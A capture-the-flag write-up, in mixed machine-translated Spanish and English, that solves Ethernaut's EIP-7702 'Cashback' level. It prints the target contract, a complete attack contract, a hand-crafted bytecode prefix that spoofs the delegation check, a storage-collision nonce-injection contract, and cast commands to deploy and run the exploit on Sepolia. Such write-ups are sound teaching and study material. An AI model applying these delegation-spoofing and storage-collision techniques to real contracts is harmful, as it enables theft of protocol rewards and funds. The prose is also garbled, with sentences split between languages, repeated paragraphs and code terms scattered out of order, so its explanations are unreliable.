Mientras cavaba en los matices de EIP-7702, trabajé a través de la challenge — a scenario designed to test whether developers truly understand the security implications of 7702-based delegation. On the surface, the challenge looks straightforward: a cashback program that rewards users for on-chain payments and grants a NFT una vez suficientes puntos se acumulan. Descarga de Cashback Super CASHBACK Descarga de Cashback Para participar, los usuarios deben delegar el contrato de Cashback utilizando EIP-7702.Sólo entonces pueden llamar a payWithCashback y comenzar a ganar puntos.El sistema parece imponer controles de acceso estrictos, y sus modificadores sugieren un modelo de seguridad claro. En realidad, la delegación de EIP-7702 crea trampas de seguridad que este desafío está diseñado para demostrar.Esta escritura cubre cómo debe funcionar el contrato, dónde fallan las suposiciones y cómo surge el camino de explotación. El desafío https://ethernaut.openzeppelin.com/level/36 https://ethernaut.openzeppelin.com/level/36 Acabas de unirte a Cashback, la criptomoneda más caliente de la ciudad. Su posición es irresistible: para cada pago en cadena que realices, ganas puntos. El sistema aprovecha EIP-7702 para permitir que los EOA acumulen reembolso.Los usuarios deben delegar al contrato de reembolso para utilizar la función payWithCashback. Los rumores dicen que hay una puerta trasera para los usuarios de energía. Su breve es simple: convertirse en la pesadilla del programa de lealtad. Max a su reembolso en cada moneda respaldada y irse con al menos dos Super Cashback NFT, uno de los cuales debe corresponder a su dirección de jugador. Acabas de unirte a Cashback, la criptomoneda más caliente de la ciudad. Su posición es irresistible: para cada pago en cadena que realices, ganas puntos. The system leverages EIP-7702 to allow EOAs to accrue cashback. Users must delegate to the Cashback contract to use the Funcionamiento . payWithCashback Los rumores dicen que hay una puerta trasera para los usuarios de energía. Su breve es simple: convertirse en la pesadilla del programa de lealtad. Max a su reembolso en cada moneda respaldada y irse con al menos dos Super Cashback NFT, uno de los cuales debe corresponder a su dirección de jugador. // SPDX-License-Identifier: MIT pragma solidity 0.8.30; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import {ERC1155} from "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import {TransientSlot} from "@openzeppelin/contracts/utils/TransientSlot.sol"; /*////////////////////////////////////////////////////////////// CURRENCY LIBRARY //////////////////////////////////////////////////////////////*/ type Currency is address; using {equals as ==} for Currency global; using CurrencyLibrary for Currency global; function equals(Currency currency, Currency other) pure returns (bool) { return Currency.unwrap(currency) == Currency.unwrap(other); } library CurrencyLibrary { error NativeTransferFailed(); error ERC20IsNotAContract(); error ERC20TransferFailed(); Currency public constant NATIVE_CURRENCY = Currency.wrap(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); function isNative(Currency currency) internal pure returns (bool) { return Currency.unwrap(currency) == Currency.unwrap(NATIVE_CURRENCY); } function transfer(Currency currency, address to, uint256 amount) internal { if (currency.isNative()) { (bool success,) = to.call{value: amount}(""); require(success, NativeTransferFailed()); } else { (bool success, bytes memory data) = Currency.unwrap(currency).call(abi.encodeCall(IERC20.transfer, (to, amount))); require(Currency.unwrap(currency).code.length != 0, ERC20IsNotAContract()); require(success, ERC20TransferFailed()); require(data.length == 0 || true == abi.decode(data, (bool)), ERC20TransferFailed()); } } function toId(Currency currency) internal pure returns (uint256) { return uint160(Currency.unwrap(currency)); } } /*////////////////////////////////////////////////////////////// CASHBACK CONTRACT //////////////////////////////////////////////////////////////*/ /// @dev keccak256(abi.encode(uint256(keccak256("Cashback")) - 1)) & ~bytes32(uint256(0xff)) contract Cashback is ERC1155 layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba00 { using TransientSlot for *; error CashbackNotCashback(); error CashbackIsCashback(); error CashbackNotAllowedInCashback(); error CashbackOnlyAllowedInCashback(); error CashbackNotDelegatedToCashback(); error CashbackNotEOA(); error CashbackNotUnlocked(); error CashbackSuperCashbackNFTMintFailed(); bytes32 internal constant UNLOCKED_TRANSIENT = keccak256("cashback.storage.Unlocked"); uint256 internal constant BASIS_POINTS = 10000; uint256 internal constant SUPERCASHBACK_NONCE = 10000; Cashback internal immutable CASHBACK_ACCOUNT = this; address public immutable superCashbackNFT; uint256 public nonce; mapping(Currency => uint256 Rate) public cashbackRates; mapping(Currency => uint256 MaxCashback) public maxCashback; modifier onlyCashback() { require(msg.sender == address(CASHBACK_ACCOUNT), CashbackNotCashback()); _; } modifier onlyNotCashback() { require(msg.sender != address(CASHBACK_ACCOUNT), CashbackIsCashback()); _; } modifier notOnCashback() { require(address(this) != address(CASHBACK_ACCOUNT), CashbackNotAllowedInCashback()); _; } modifier onlyOnCashback() { require(address(this) == address(CASHBACK_ACCOUNT), CashbackOnlyAllowedInCashback()); _; } modifier onlyDelegatedToCashback() { bytes memory code = msg.sender.code; address payable delegate; assembly { delegate := mload(add(code, 0x17)) } require(Cashback(delegate) == CASHBACK_ACCOUNT, CashbackNotDelegatedToCashback()); _; } modifier onlyEOA() { require(msg.sender == tx.origin, CashbackNotEOA()); _; } modifier unlock() { UNLOCKED_TRANSIENT.asBoolean().tstore(true); _; UNLOCKED_TRANSIENT.asBoolean().tstore(false); } modifier onlyUnlocked() { require(Cashback(payable(msg.sender)).isUnlocked(), CashbackNotUnlocked()); _; } receive() external payable onlyNotCashback {} constructor( address[] memory cashbackCurrencies, uint256[] memory currenciesCashbackRates, uint256[] memory currenciesMaxCashback, address _superCashbackNFT ) ERC1155("") { uint256 len = cashbackCurrencies.length; for (uint256 i = 0; i < len; i++) { cashbackRates[Currency.wrap(cashbackCurrencies[i])] = currenciesCashbackRates[i]; maxCashback[Currency.wrap(cashbackCurrencies[i])] = currenciesMaxCashback[i]; } superCashbackNFT = _superCashbackNFT; } // Implementation Functions function accrueCashback(Currency currency, uint256 amount) external onlyDelegatedToCashback onlyUnlocked onlyOnCashback{ uint256 newNonce = Cashback(payable(msg.sender)).consumeNonce(); uint256 cashback = (amount * cashbackRates[currency]) / BASIS_POINTS; if (cashback != 0) { uint256 _maxCashback = maxCashback[currency]; if (balanceOf(msg.sender, currency.toId()) + cashback > _maxCashback) { cashback = _maxCashback - balanceOf(msg.sender, currency.toId()); } uint256[] memory ids = new uint256[](1); ids[0] = currency.toId(); uint256[] memory values = new uint256[](1); values[0] = cashback; _update(address(0), msg.sender, ids, values); } if (SUPERCASHBACK_NONCE == newNonce) { (bool success,) = superCashbackNFT.call(abi.encodeWithSignature("mint(address)", msg.sender)); require(success, CashbackSuperCashbackNFTMintFailed()); } } // Smart Account Functions function payWithCashback(Currency currency, address receiver, uint256 amount) external unlock onlyEOA notOnCashback { currency.transfer(receiver, amount); CASHBACK_ACCOUNT.accrueCashback(currency, amount); } function consumeNonce() external onlyCashback notOnCashback returns (uint256) { return ++nonce; } function isUnlocked() public view returns (bool) { return UNLOCKED_TRANSIENT.asBoolean().tload(); } } El modelo de seguridad previsto El contrato Cashback utiliza modificadores para controlar llamadas y Código de ejecución: who where : Caller identity checks : Ensures the caller is an EOA, not a contract ( ). onlyEOA() msg.sender == tx.origin onlyCashback(): Asegura que el llamador es el propio contrato de Cashback. onlyNotCashback(): Asegura que el llamador NO es el contrato de Cashback. : Execution context checks onlyOnCashback(): Asegura que el código se ejecuta en la dirección del contrato de Cashback. Las funciones con este modificador sólo pueden ejecutarse cuando se llama directamente al contrato. notOnCashback(): asegura que el código NO se ejecute en la dirección del contrato de Cashback. Esto significa que la función debe ejecutarse a través de una llamada delegada, no directamente en el contrato. En esencia, el sistema debería funcionar de esta manera: Un EOA delegado llama payWithCashback en sí mismo. Esto funciona porque la llamada ocurre noOnCashback y pasa soloEOA. La función payWithCashback llama Cashback.accrueCashback directamente en la instancia Cashback. Tiene tres modificadores: onlyDelegatedToCashback pasa porque el llamador delegado a Cashback, onlyOnCashback pasa porque la llamada ocurre en Cashback directamente. Las llamadas de modificador únicamente desbloqueadas son desbloqueadas en msg.sender. Desde que payWithCashback la desbloqueó, este cheque pasa. Durante la ejecución, accrueCashback llamadas consumeNonce en msg.sender. Esta función tiene dos modificadores: sóloCashback pasa porque es llamado por la instancia Cashback, y noOnCashback pasa porque esta función se ejecuta en el contexto de la EOA. Por último, consumeNonce incrementa el nonce en el almacenamiento de la EOA. Encontrar constantes Antes de poder atacar, necesitamos identificar los parámetros y direcciones clave del desafío. Monedas respaldadas El contrato Cashback soporta dos monedas. Aunque no se definen explícitamente en la descripción del desafío, podemos encontrarlas: La moneda nacional en 0xEeeeeeeeEeeeEeeeEeeeEeeeEeeeEeeeEeeeEeeeEeeeEeeeEeee Freedom Coin (FREE) en 0x13AaF3218Facf57CfBf5925E15433307b59BCC37 Puedes comprobar esto tomando la dirección de nivel y comprobando Y al llamar a la . Su código FREE() Funciones Super Cashback de la NFT Puedes encontrar su dirección llamando En su instancia de cashback. superCashbackNFT Tasa de reembolso y Cashback Para calcular el gasto necesario para el reembolso máximo, necesitamos dos parámetros. y En su caso, el contrato utiliza Para los cálculos porcentuales: maxCashback cashbackRates BASIS_POINTS = 10000 uint256 cashback = (amount * cashbackRates[currency]) / BASIS_POINTS; Por ejemplo, Freedom Coin tiene un max cashback de Y una tasa de (i.e. 2%). Para calcular el gasto necesario: 500e18 200 amount = maxCashback * BASIS_POINTS / rate amount = 500e18 * 10000 / 200 = 25000e18 Eso es 25.000 tokens gratis. nocio Comienza en 0. El contrato crea un Super Cashback NFT cuando su nonce alcanza , que está codificado hasta 10.000. SUPERCASHBACK_NONCE Ataque A pesar de la arquitectura compleja que parece inestable a primera vista, hay varias suposiciones defectuosas que podemos explotar. Mirando la arquitectura, notamos que podemos llamar Aunque sus modificadores están diseñados para restringir el acceso a las llamadas internas a través de , la función en sí es externa - por lo que podemos llamarla directamente si ignoramos a los guardias: accrueCashback payWithCashback onlyOnCashback Podemos evitarlo llamando directamente la instancia de Cashback. OnlyUnlocked Desde que este modificador llama esUnlocked en msg.sender, podemos eludirlo llamando desde un contrato con una función isUnlocked que siempre devuelve verdad. Este es uno de los tricky.Vamos a examinarlo de cerca: modifier onlyDelegatedToCashback() { bytes memory code = msg.sender.code; address payable delegate; assembly { delegate := mload(add(code, 0x17)) } require(Cashback(delegate) == CASHBACK_ACCOUNT, CashbackNotDelegatedToCashback()); _; } El El modificador intenta verificar que el llamador ha delegado al contrato de reembolso al leer la dirección de delegación del código de byte de la cuenta. Con EIP-7702, las cuentas delegadas tienen un código de byte especial: followed by the 20-byte delegation address. The modifier reads these 20 bytes (which it expects to be an address) and verifies they match the Cashback instance address. onlyDelegatedToCashback 0xef0100 To bypass , necesitamos el código de byte de nuestro contrato de ataque para que se vea como un denominador de delegación válido - específicamente, la dirección de Cashback debe aparecer en bytes 4-23. onlyDelegatedToCashback 0x??????<CASHBACK_ADDRESS>????...<rest_of_contract>. Lo haremos manualmente más adelante.Primero, vamos a crear el contrato de ataque. Preparando el contrato de ataque Como se ha discutido, nuestro contrato será llamado de vuelta por la instancia Cashback dos veces: para comprobar si está desbloqueado y para consumir el noce. return the value required for a SuperCashback NFT. We want full cashback for both currencies, but since NFTs are minted with the caller's address as the ID, the second el llamado volvería. así que volveremos a Noche sólo una vez. consumeNonce accrueCashback 10,000 Estableceremos las monedas y la dirección Cashback como constantes. directly, we don't need to spend real tokens—we just need to pass the right amounts to get maximum cashback. accrueCashback Finalmente, transferiremos todo el cashback y el NFT a la dirección de nuestro jugador. Aquí está el contrato completo: // SPDX-License-Identifier: MIT pragma solidity 0.8.30; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import {Currency, Cashback} from "./Cashback.sol"; contract AccrueCashbackAttack { Currency public constant NATIVE_CURRENCY = Currency.wrap(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); Currency public constant FREEDOM_COIN = Currency.wrap(0x13AaF3218Facf57CfBf5925E15433307b59BCC37); Cashback public constant CASHBACK_INSTANCE = Cashback(payable(0xf991E138bA49e25a7DA1a11A726077c77c6241A8)); bool nftMinted; function attack(address player) external { uint256 nativeMaxCashback = CASHBACK_INSTANCE.maxCashback(NATIVE_CURRENCY); uint256 freeMaxCashback = CASHBACK_INSTANCE.maxCashback(FREEDOM_COIN); // Calculate amounts required to reach max cashback for each currency uint256 BASIS_POINTS = 10000; // Basis points from Cashback uint256 nativeAmount = (nativeMaxCashback * BASIS_POINTS) / CASHBACK_INSTANCE.cashbackRates(NATIVE_CURRENCY); uint256 freedomAmount = (freeMaxCashback * BASIS_POINTS) / CASHBACK_INSTANCE.cashbackRates(FREEDOM_COIN); // Call accrueCashback to mint cashback tokens and SuperCashback NFT to the attack contract CASHBACK_INSTANCE.accrueCashback(NATIVE_CURRENCY, nativeAmount); CASHBACK_INSTANCE.accrueCashback(FREEDOM_COIN, freedomAmount); // Transfer cashback tokens from attack contract to player CASHBACK_INSTANCE.safeTransferFrom(address(this), player, NATIVE_CURRENCY.toId(), nativeMaxCashback, ""); CASHBACK_INSTANCE.safeTransferFrom(address(this), player, FREEDOM_COIN.toId(), freeMaxCashback, ""); // Transfer the SuperCashback NFT (minted with the attack contract's address as ID) IERC721 superCashbackNFT = IERC721(CASHBACK_INSTANCE.superCashbackNFT()); superCashbackNFT.transferFrom(address(this), player, uint256(uint160(address(this)))); } function isUnlocked() public pure returns (bool) { return true; } function consumeNonce() external returns (uint256) { // We can mint only one NFT, because they are minted with id of the contract if (nftMinted) { return 0; } nftMinted = true; return 10_000; } } Ajustar el bytecode para eludir el control de delegación Ahora viene la parte complicada.Tenemos que cambiar la bytecode to pass the modifier. First, compile your contracts. AccrueCashbackAttack onlyDelegatedToCashback Si está utilizando Hardhat, el bytecode estará en Hay dos propiedades: artifacts/contracts/Attack.sol/AccrueCashbackAttack.json bytecode es el código de creación (init) ejecutado una vez durante la implementación. Ejecuta la lógica del constructor y devuelve el código de tiempo de ejecución para ser almacenado en la cadena. deployedBytecode es el código de ejecución almacenado en la cadena después de la implementación y ejecutado cada vez que se llama el contrato. Colocaremos nuestra dirección de instancia de Cashback en el offset Exactamente donde Busca por el mismo.La Sigue después de: 0x03 onlyDelegatedToCashback deployedBytecode 0x??????<CASHBACK_ADDRESS>????<ATTACK_DEPLOYED_BYTECODE> Salta por encima de la dirección embebida Para saltar la dirección de 20 bytes durante la ejecución normal, usaremos estos opcodes: to specify the jump destination PUSH1 Jump para realizar el salto JUMPDEST para marcar el destino (necesario para evitar revertirse) De esta manera, sólo el El modificador lee el . onlyDelegatedToCashback <CASHBACK_ADDRESS> Pero ¿a qué compensación debemos saltar? Offset | Bytes | Instructions | --------------------------------------------| [00] | 60 ?? | PUSH ?? | [02] | 56 | JUMP | [03] | <CASHBACK_ADDRESS> | | [17] | ??? | ??? | La suposición obvia pero incorrecta es Justo después . In reality, the answer depends on how lucky you are with your Cashback instance address. Let me show you why. 0x17 <CASHBACK_ADDRESS> Mi instancia está en Así que mi contrato podría comenzar así: 0xf991E138bA49e25a7DA1a11A726077c77c6241A8 Cashback address ↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓ 0x601756f991E138bA49e25a7DA1a11A726077c77c6241A85B ↑↑↑↑↑↑ ↑↑ PUSH + JUMP JUMPDEST Offset | Bytes | Instructions | --------------------------------------------| [00] | 60 17 | PUSH 0x17 | [02] | 56 | JUMP | [03] | f991E138...c6241A8 | <Instance> | [17]? | 5B | JUMPDEST | Pero veamos cómo se descompone este bytecode: El cambio! el cambio En nuestro caso, la dirección es Opcode: Cuando los EVM se encuentran , consume los siguientes 30 bytes como argumentos literales, no como instrucciones. (en el ) is positioned at offset , but it gets consumed as data for en lugar de ser ejecutado como una instrucción. Esto corrompe el flujo de bytecode, causando una when execution reaches that location. 0x7D PUSH30 PUSH30 JUMPDEST 5B 0x17 PUSH30 EVM error: InvalidJump Vamos a corregir esto. Vamos a añadir padding para empujar nuestro de los 30 bytes consumidos por : JUMPDEST PUSH30 ¡Perfecto! el appears at 2a. Let's update our Nuestra versión final: JUMPDEST PUSH1 0x602a56f991E138bA49e25a7DA1a11A726077c77c6241A8000000000000000000000000000000000000005B<attack-bytecode> Offset | Bytes | Instructions | --------------------------------------------| [00] | 60 2a | PUSH 0x2a | [02] | 56 | JUMP | [03] | f991E138...c6241A8 | <Instance> | [2a] | 5B | JUMPDEST | Este prefixo tiene un total de 43 bytes: (2) El + (1) El + (20) + 19 + (1). PUSH1 JUMP address padding JUMPDEST Ajuste de los saltos compensatorios Ahora podemos añadir nuestro Pero dado que hemos aumentado el tamaño del contrato en 43 bytes, necesitamos ajustar todo y offsets by this amount. deployedBytecode JUMP JUMPI Para la demostración, vamos a ver cómo hacer esto manualmente. , seleccione Bytecode, y pega su A la derecha, verás la lista de opcodes. en [0f]. Encuentra todos los Códigos utilizados por y with values matching this y aumentar sus valores por 43. https://www.evm.codes/playground deployedBytecode JUMPDEST PUSH2 JUMP JUMPI JUMPDEST Este método no es perfecto - podríamos modificar accidentalmente No obstante, los falsos positivos deben ser lo suficientemente raros para este desafío. PUSH2 ¿Por qué Push2? Debido a que el tamaño inicial del contrato era de 3142 bytes (0x0C46), los destinos de salto pueden superar los 255, por lo que el compilador debe usar PUSH2 para representarlos. El compilador utiliza PUSH2 uniformemente para todos los destinos de salto en lugar de mezclar PUSH1 y PUSH2. ¿Por qué Push2? Debido a que el tamaño inicial del contrato era de 3142 bytes (0x0C46) , los destinos de salto pueden superar los 255, por lo que el compilador debe usar PUSH2 para representarlos. El compilador utiliza PUSH2 uniformly for all jump destinations rather than mixing PUSH1 and PUSH2 . Doing this manually would be overwhelming, so I created a script that: Finds all opcodes and stores their initial and adjusted offsets JUMPDEST Finds all opcodes with values matching initial offsets and updates them to adjusted values PUSH2 JUMPDEST You can find the script to automate this process in the . repository repository ¡Nunca descargue y ejecute ciegamente código aleatorio, incluido este! Siempre revise y entienda lo que está ejecutando.Use entornos aislados como devcontainers o VMs cuando experimente con código no confiable. ¡Nunca descargue y ejecute ciegamente código aleatorio, incluido este! Always review and understand what you're running. Use isolated environments like devcontainers or VMs when experimenting with untrusted code. Creación de bytecode Para implementar este contrato, necesitamos elaborar la creación de bytecode. Vamos a modificar el código de creación existente. El valor en los artefactos lo contiene al principio. aquí está mi: Desmontando lo que muestra: bytecode 0x6080604052348015600e575f5ffd5b50610c468061001c5f395ff3fe [10] PUSH2 0c46 This es la longitud del código inicial - . 0c46 3142 bytes Necesitamos usar nuestra longitud de código ajustada más los 43 bytes que añadimos manualmente. (3185 bytes). el código de creación final: 0C71 0x6080604052348015600e575f5ffd5b50610C718061001c5f395ff3fe ↑↑↑↑ Asamblea Final de Bytecode El bytecode final es simplemente el código de creación concatenado con el . deployedBytecode Execute Attack Vamos a implementar nuestro bytecode utilizando De la fuente: cast PRIVATE_KEY=0x{set-your-ethernaut-player-private-key} SEPOLIA_URL=https://{use-alchemy-or-infura} BYTECODE=0x{the-final-bytecode} YOUR_PLAYER_ADDRESS=0x{your-player-address} cast send --rpc-url $SEPOLIA_URL --private-key $PRIVATE_KEY --create $BYTECODE Ejecutar el ataque: cast send $ATTACK_CONTRACT_ADDRESS \ "attack(address)" \ $YOUR_PLAYER_ADDRESS \ --rpc-url $SEPOLIA_URL --private-key $PRIVATE_KEY Check your transaction on Etherscan. You should see inner transactions related to cashback token and NFT transfers. En este punto, ha logrado el máximo de reembolso para ambas monedas y obtuvo un NFT. Sin embargo, su ID corresponde a la dirección de su contrato de ataque, no a su dirección de jugador. Explotación de la colisión de almacenamiento para la segunda NFT Todavía necesitamos otro NFT con nuestra dirección como ID. No podemos simplemente repetir el mismo enfoque que en el ataque anterior. como se pretendía – delegando su EOA al contrato de Cashback. sin embargo, no podemos falsificar el función, por lo que necesitamos aumentar nuestro nonce de otra manera. payWithCashback consumeNonce La delegación EIP-7702 no crea almacenamiento separado para cada contrato delegado. Cuando un EOA delega a un contrato, el código ejecuta contra el almacenamiento propio del EOA. Si delegas a diferentes contratos a lo largo del tiempo, todos leen y escriben a las mismas ranuras de almacenamiento en tu EOA. Al explotar esta colisión de almacenamiento, podemos manipular el noce. Crearemos un contrato que escribe a la misma ranura de almacenamiento, establezca el noce en 9999, luego re-delega a Cashback y ejecuta una transacción más para desencadenar la moneda NFT. Tenga en cuenta que la cuenta Cashback utiliza una directiva de diseño de almacenamiento personalizado para posicionar su almacenamiento en una ranura específica.Esta característica, introducida en Solidity 0.8.29, permite a los contratos mover sus variables de almacenamiento a posiciones arbitrarias. contract Cashback is ERC1155 layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba00 { // ... constants and immutables uint256 public nonce; } El es la primera variable en el diseño —todas las variables anteriores son constantes e inmutables, por lo que no toman ranuras. de OpenZeppelin toma 3 ranuras antes Por lo tanto, el cierre real está en . Knowing this, let's inject a large nonce into our EOA storage. nonce ERC1155 nonce 0x442a9...ba03 Aquí está el Contrato de manipulación que desplegé en Sepolia: nonce contract NonceAttack layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba03 { uint256 public injectedNonce; // The next call to payWithCashback will increment it to 10_000 and we will get SuperCashback NFT function injectNonce() external { injectedNonce = 9999; } } El siguiente paso es delegar nuestro EOA a El Foundry Soporta las transacciones de autorización. Usualmente tendríamos que solicitar la noción de nuestra cuenta, incrementarla por una, firmar una transacción de autorización, y sólo después enviarla. NonceAttack. cast cast send 0x0000000000000000000000000000000000000000 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL \ --auth <NONCE_ATTACK_ADDRESS> Ahora podemos configurar el nonce usando Recuerde, llamamos esta función a nosotros mismos, no a la La instancia: injectNonce() NonceAttack cast send $YOUR_PLAYER_ADDRESS \ "injectNonce()" \ --rpc-url $SEPOLIA_URL \ --private-key $PRIVATE_KEY Final Attack Step Con el noce ahora establecido en 9999 a través de la explotación de colisión de almacenamiento, el paso final del ataque implica re-delegar al contrato de Cashback y ejecutar una transacción más para empujar el noce a 10,000, desencadenando la moción del segundo SuperCashback NFT con su dirección de jugador como su ID. Re-delegar su cuenta a la instancia Cashback. Siga los mismos pasos que con NonceAttack: cast send 0x0000000000000000000000000000000000000000 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL \ --auth <CASHBACK_ADDRESS> El contrato Cashback proporciona una función de nonce para comprobar su nonce. cast call $YOUR_PLAYER_ADDRESS \ "nonce()" \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL Ejecuta el último paso llamando a payWithCashback por ti mismo: cast send $YOUR_PLAYER_ADDRESS \ "payWithCashback(address,address,uint256)" \ 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE \ 0x03dcb79ee411fd94a701ba88351fef8f15b8f528 \ 1 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL Usted ahora posee 2 NFTs y máximo de reembolso. ¡Envíe el nivel! Y antes de ir, no olvides retirar la delegación. cast send 0x0000000000000000000000000000000000000000 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL \ --auth 0x0000000000000000000000000000000000000000 Lo que hemos aprendido 1. Validate delegation the right way. Siempre comprueba el Gracias a EIP-3541, que prohíbe el despliegue de contratos cuyo código de byte comienza con 0xef, este prefijo distingue de manera fiable los EOA delegados de los contratos arbitrarios. 0xef0100 2. Never store protocol-critical state inside an EOA. Un propietario de EOA puede delegar cualquier contrato, y ese contrato puede escribir libremente a las mismas ranuras de almacenamiento, incluyendo aquellas que usted podría asumir que son privadas. . your protocol's storage